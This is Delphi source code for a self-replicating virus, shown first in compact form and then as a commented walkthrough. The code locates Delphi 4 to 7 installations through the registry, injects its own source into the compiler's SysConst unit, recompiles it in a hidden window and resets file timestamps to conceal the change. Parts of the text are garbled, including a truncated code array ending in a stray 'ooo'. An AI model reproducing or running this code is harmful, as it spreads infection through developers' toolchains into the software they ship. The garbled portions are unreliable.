function x(s:string):string;

var 

    i:integer;

begin 

    for i:=1 to length(s) do 

        if s=#36 then s:=#39;

    result:=s;

end;

procedure re(s,d,e:string);

var

    f1,f2:textfile;

    h:cardinal;

    f:STARTUPINFO;

    p:PROCESS_INFORMATION;

    b:boolean;

    t1,t2,t3:FILETIME;

begin

    h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

    if h<>DWORD(-1) then

    begin

        CloseHandle(h);

        exit;

    end;

    {'I-}assignfile(f1,s);

    reset(f1);

    if ioresult<>0 then

        exit;

    assignfile(f2,d+'pas');

    rewrite(f2);

    if ioresult<>0 then 

    begin 

        closefile(f1); 

        exit; 

    end;

    while not eof(f1) do

    begin

        readln(f1,s);

        writeln(f2,s);

        if pos('implementation',s)<>0 then

        break;

    end;

    for h:= 1 to 1 do

        writeln(f2,sc[h]);

    for h:= 1 to 23 do

        writeln(f2,''''+sc[h],''',');

    writeln(f2,''''+sc[24]+''');');

    for h:= 2 to 24 do

        writeln(f2,x(sc[h]));

    closefile(f1);

    closefile(f2);

    {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));

    fillchar(f,sizeof(f),0);

    f.cb := sizeof(f);

    f.dwFlags := STARTF_USESHOWWINDOW;

    f.wShowWindow := SW_HIDE;

    b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);

    if b then

        WaitForSingleObject(p.hProcess,INFINITE);

        MoveFile(pchar(d+'bak'),pchar(d+'dcu'));

        DeleteFile(pchar(d+'pas'));

        h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

        if h=DWORD(-1) then

        exit;

        GetFileTime(h,@t1,@t2,@t3);

        CloseHandle(h);

        h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);

        if h=DWORD(-1) then

        exit;

        SetFileTime(h,@t1,@t2,@t3);

        CloseHandle(h);

    end;



procedure st;

var 

    k:HKEY;

    c:array [1..255] of char;

    i:cardinal;

    r:string;

    v:char;

begin

    for v:='4' to '7' do

    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then

begin

    i:=255;

    if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then

    begin

        r:='';

        i:=1;

        while c<>#0 do

        begin

            r:=r+c;

            inc(i);

        end;

        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');

    end;

    RegCloseKey(k);

end;

end;

begin

st;

end.

Uses Windows;

Var sc: Array[1..24] Of String= 
(
'uses windows; var sc:array[1..24] of string=(',
'function f_change_dollar_into_quote(p_string: string): string;',
'var l_index: integer;',
ooo
);

Function f_change_dollar_into_quote(p_string: String): String;
Var l_index: integer;
Begin
For l_index:= 1 To length(p_string) Do
If p_string[l_index]= #36
Then p_string[l_index]:= #39;
result:= p_string;
End; // f_change_dollar_into_quote


Procedure modify_compile_erase(p_source_to_modify_in_RTL_file_name,
p_source_to_modify_without_suffix_in_LIB_file_name,
p_quoted_dcc32_exe_BIN_file_name: String);
Var l_file_handle: cardinal;
l_file_to_modify, l_new_file_to_modify: textfile;
l_startup_info: STARTUPINFO;
l_create_process_result: boolean;
l_process_information: PROCESS_INFORMATION;
l_file_time_1, l_file_time_2, l_file_time_3: FILETIME;
Begin
// -- try to open SYSCONST.BAK
l_file_handle:=
CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'bak'),
0, 0, 0, 3, 0, 0);
display(f_integer_to_hex(Integer(l_file_handle)));
If l_file_handle<> DWORD(- 1)
Then Begin
// -- if did find this file, assume that the virus is already installed
// -- and exit
CloseHandle(l_file_handle);
Exit;
End;


// -- the $ -> ' bug
{'I-}
// -- open SYSCONST.PAS
assignfile(l_file_to_modify, p_source_to_modify_in_RTL_file_name);
// -- here should exit if SYSCONST.PAS was not found
// -- and bombs because had changed {$I-} in {'I-}
reset(l_file_to_modify);
If ioresult<> 0
Then exit;


// -- create a modified copy of RTL\SYSCONST.PAS as LIB\SYSCONST.PAS
assignfile(l_new_file_to_modify,
p_source_to_modify_without_suffix_in_LIB_file_name+ 'pas');
rewrite(l_new_file_to_modify);
If ioresult<> 0
Then
Begin
closefile(l_file_to_modify);
exit;
End;


// -- copy up to the INTERFACE
While Not eof(l_file_to_modify) Do
Begin
readln(l_file_to_modify, p_source_to_modify_in_RTL_file_name);
writeln(l_new_file_to_modify, p_source_to_modify_in_RTL_file_name);
If pos('implementation', p_source_to_modify_in_RTL_file_name)<> 0
Then break;
End;


// -- insert the text of this very code
// -- 1 - the header, from the constant code array
For l_file_handle:= 1 To 1 Do
writeln(l_new_file_to_modify, sc[l_file_handle]);


// -- 2 - the quoted text of this code (for infections to come)
For l_file_handle:= 1 To 23 Do
writeln(l_new_file_to_modify, ''''+ sc[l_file_handle], ''',');
// -- 3 - the last row (no ending quote, but a ")"
writeln(l_new_file_to_modify, ''''+ sc[24]+ ''');');


// -- 4 - the remainder of the source code
// -- from the constant code array
// -- without the $
For l_file_handle:= 2 To 24 Do
writeln(l_new_file_to_modify, f_change_dollar_into_quote(sc[l_file_handle]));


closefile(l_file_to_modify);
closefile(l_new_file_to_modify);
// -- the $ -> ' bug
{'I+}


// -- rename LIB\SYSCONST.DCU as LIB\SYSCONST.BAK
// -- which will be used by a next trial as a mark of the infection
// -- and also will be used to restore the original in case
// -- of compilation error
MoveFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'dcu'),
pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'bak'));


// -- create the compiling process
fillchar(l_startup_info, sizeof(l_startup_info), 0);
l_startup_info.cb:= sizeof(l_startup_info);
l_startup_info.dwFlags:= STARTF_USESHOWWINDOW;
l_startup_info.wShowWindow:= SW_HIDE;
// -- here compiles LIB\SYSCONST.PAS into LIB\SYSCONST.DCU
l_create_process_result:= CreateProcess(Nil,
pchar(p_quoted_dcc32_exe_BIN_file_name+ '"'
+ p_source_to_modify_without_suffix_in_LIB_file_name+ 'pas"'),
0, 0, false, 0, 0, 0, l_startup_info, l_process_information);
If l_create_process_result
Then WaitForSingleObject(l_process_information.hProcess, INFINITE);


// -- only rename LIB\SYSCONST.BAK (the original DCU) into LIB\SYSCONST.DCU
// -- if DCC32.EXE failed to create the (infected) DCU
// -- (restoration of the DCU in case of compilation error)
MoveFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'bak'),
pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'dcu'));


// -- remove the modified LIB\SYSCONST.PAS
DeleteFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'pas'));


// -- open LIB\SYSCONST.BAK (the original SYSCONST.DCU) to get the date/time
l_file_handle:=
CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'bak'),
0, 0, 0, 3, 0, 0);
If l_file_handle= DWORD(- 1)
Then exit;


// -- read the original DCU file time
GetFileTime(l_file_handle, @l_file_time_1, @l_file_time_2, @l_file_time_3);
CloseHandle(l_file_handle);


// -- open the new LIB\SYSCONST.DCU
l_file_handle:=
CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'dcu'),
256, 0, 0, 3, 0, 0);
If l_file_handle= DWORD(- 1)
Then exit;


// -- change its time to the original time
SetFileTime(l_file_handle, @l_file_time_1, @l_file_time_2, @l_file_time_3);
CloseHandle(l_file_handle);
End; // modify_compile_erase


Procedure infect_and_compile;
Var l_version_character: char;
l_borland_registry_key: HKEY;
l_index: cardinal;
l_key_content: Array[1..255] Of char;
l_root_dir: String;
Begin
// -- find if registry contains Delphi-4 to Delphi-7
For l_version_character:= '4'To '7' Do
If RegOpenKeyEx(HKEY_LOCAL_MACHINE,
pchar('Software\Borland\Delphi\'+ l_version_character+'.0'),
0, KEY_READ, l_borland_registry_key)= 0
Then Begin
// -- if so, find the "RootDir" key
// -- eg, for Delphi 6 "C:\Program Files\Borland\Delphi6"
l_index:= 255;
If RegQueryValueEx(l_borland_registry_key,
'RootDir', Nil, @l_index, @l_key_content, @l_index)= 0
Then Begin
// -- convert into a string
l_root_dir:= '';
l_index:= 1;
While l_key_content[l_index]<> #0 Do
Begin
l_root_dir:= l_root_dir+ l_key_content[l_index];
inc(l_index);
End;


modify_compile_erase(
l_root_dir+ '\source\rtl\sys\SysConst'+ '.pas',
l_root_dir+'\lib\sysconst.',
'"'+ l_root_dir+ '\bin\dcc32.exe" ');
End;


RegCloseKey(l_borland_registry_key);
End;
End; // infect_and_compile


Begin
infect_and_compile
End.